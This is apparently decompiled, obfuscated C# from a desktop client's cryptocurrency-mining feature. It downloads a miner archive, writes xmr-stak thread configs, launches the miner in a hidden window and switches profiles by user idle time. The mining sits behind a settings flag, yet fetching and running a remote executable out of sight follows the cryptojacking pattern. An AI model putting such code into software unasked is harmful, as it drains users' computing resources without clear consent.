public static GClass126 smethod_0(MinerPofile minerPofile_1)
 {
     try
     {
         return(JsonConvert.DeserializeObject <GClass126>(File.ReadAllText(GClass126.smethod_3(minerPofile_1))));
     }
     catch
     {
         return(GClass126.smethod_2(minerPofile_1));
     }
 }
 private static GClass126 smethod_2(MinerPofile minerPofile_1)
 {
     if (minerPofile_1 != MinerPofile.ACTIVE)
     {
         if (minerPofile_1 != MinerPofile.IDLE)
         {
             return((GClass126)null);
         }
         return(new GClass126()
         {
             UseGpu = true, ThreadCount = GClass126.smethod_1(), StopWhenPlaying = true
         });
     }
     return(new GClass126()
     {
         UseGpu = false, ThreadCount = 1, StopWhenPlaying = true
     });
 }
        private static uint smethod_4()
        {
            uint num = 0;

            GClass126.Struct0 struct0_0 = new GClass126.Struct0();
            struct0_0.uint_0 = (uint)Marshal.SizeOf((object)struct0_0);
            struct0_0.uint_1 = 0U;
            uint tickCount = (uint)Environment.TickCount;

            if (GClass126.GetLastInputInfo(ref struct0_0))
            {
                uint uint1 = struct0_0.uint_1;
                num = tickCount - uint1;
            }
            if (num <= 0U)
            {
                return(0);
            }
            return(num / 1000U);
        }
 public void method_0()
 {
     File.WriteAllText(GClass126.smethod_3(this.Profile), JsonConvert.SerializeObject((object)this));
 }
Exemple #5
0
 public static void smethod_0()
 {
     if (!Settings.Default.Mine)
     {
         return;
     }
     if (!Environment.Is64BitOperatingSystem)
     {
         int num = (int)RadMessageBox.Show("Sorry but you need a 64 bit OS to mine!");
         Settings.Default.Mine = false;
         Settings.Default.Save();
     }
     else
     {
         if (Class108.Boolean_0)
         {
             return;
         }
         Class108.bool_2 = true;
         try
         {
             Task.Run((Action)(() =>
             {
                 string str1 = Path.Combine(GClass88.CachePath, "miner");
                 Directory.CreateDirectory(str1);
                 string str2 = Path.Combine(str1, "xmr-stak.exe");
                 string str3 = Path.Combine(str1, "nvidia.txt");
                 string str4 = Path.Combine(str1, "amd.txt");
                 string contents1 = "\"gpu_threads_conf\" : null,";
                 string contents2 = contents1 + "\"platform_index\" : 0,";
                 GClass126 gclass126 = GClass126.smethod_0(Class108.minerPofile_0);
                 if (gclass126.UseGpu && SystemInformation.PowerStatus.BatteryChargeStatus == BatteryChargeStatus.NoSystemBattery)
                 {
                     GClass6.smethod_6(str3);
                     GClass6.smethod_6(str4);
                 }
                 else
                 {
                     File.WriteAllText(str3, contents1);
                     File.WriteAllText(str4, contents2);
                 }
                 string str5 = "\"cpu_threads_conf\" : [";
                 for (int index = 0; index < gclass126.ThreadCount; ++index)
                 {
                     str5 += string.Format("{{ \"low_power_mode\" : 0, \"no_prefetch\" : true, \"affine_to_cpu\" :{0} }},", (object)index);
                 }
                 string contents3 = str5 + "],";
                 string path = Path.Combine(str1, "etag");
                 string contents4 = GClass6.smethod_14(string.Format("{0}/mining/miner_gpu.zip", (object)Class67.String_2));
                 if (!File.Exists(path) || contents4 != File.ReadAllText(path))
                 {
                     Class108.bool_0 = true;
                     GClass6.smethod_8(string.Format("{0}/mining/miner_gpu.zip", (object)Class67.String_2), str1);
                     File.WriteAllText(path, contents4);
                     Class108.bool_0 = false;
                 }
                 bool flag = false;
                 try
                 {
                     flag = Class108.smethod_3();
                 }
                 catch
                 {
                 }
                 if (!flag)
                 {
                     File.WriteAllText(Path.Combine(str1, "config.txt"), File.ReadAllText(Path.Combine(str1, "config.txt")).Replace("\"use_slow_memory\" : \"warn\"", "\"use_slow_memory\" : \"always\""));
                 }
                 File.WriteAllText(Path.Combine(str1, "cpu.txt"), contents3);
                 try
                 {
                     // ISSUE: object of a compiler-generated type is created
                     // ISSUE: variable of a compiler-generated type
                     Class108.Class109 class109 = new Class108.Class109();
                     // ISSUE: reference to a compiler-generated field
                     class109.process_0 = new Process()
                     {
                         StartInfo = new ProcessStartInfo()
                         {
                             FileName = str2,
                             UseShellExecute = true,
                             WindowStyle = ProcessWindowStyle.Hidden,
                             WorkingDirectory = str1
                         }
                     };
                     // ISSUE: reference to a compiler-generated field
                     class109.process_0.EnableRaisingEvents = true;
                     // ISSUE: reference to a compiler-generated field
                     // ISSUE: reference to a compiler-generated method
                     class109.process_0.Exited += new EventHandler(class109.method_0);
                     // ISSUE: reference to a compiler-generated field
                     class109.process_0.Start();
                     // ISSUE: reference to a compiler-generated field
                     class109.process_0.PriorityClass = Class108.minerPofile_0 == MinerPofile.IDLE ? ProcessPriorityClass.BelowNormal : ProcessPriorityClass.High;
                     Settings.Default.Mine = true;
                     Settings.Default.Save();
                     if (Class108.bool_1)
                     {
                         return;
                     }
                     Class108.bool_1 = true;
                     Task.Run((Func <Task>)(() =>
                     {
                         while (true)
                         {
                             MinerPofile minerPofile0 = GClass126.MinerPofile_0;
                             if (minerPofile0 != Class108.minerPofile_0 && Class108.Boolean_0)
                             {
                                 goto label_2;
                             }
                             label_1:
                             Thread.Sleep(2000);
                             continue;
                             label_2:
                             Console.WriteLine("Switched to profile :" + Enum.GetName(typeof(MinerPofile), (object)minerPofile0));
                             Class108.smethod_1();
                             Thread.Sleep(2000);
                             Class108.minerPofile_0 = minerPofile0;
                             Class108.smethod_0();
                             goto label_1;
                         }
                     }));
                 }
                 catch
                 {
                 }
             }));
         }
         catch
         {
         }
     }
 }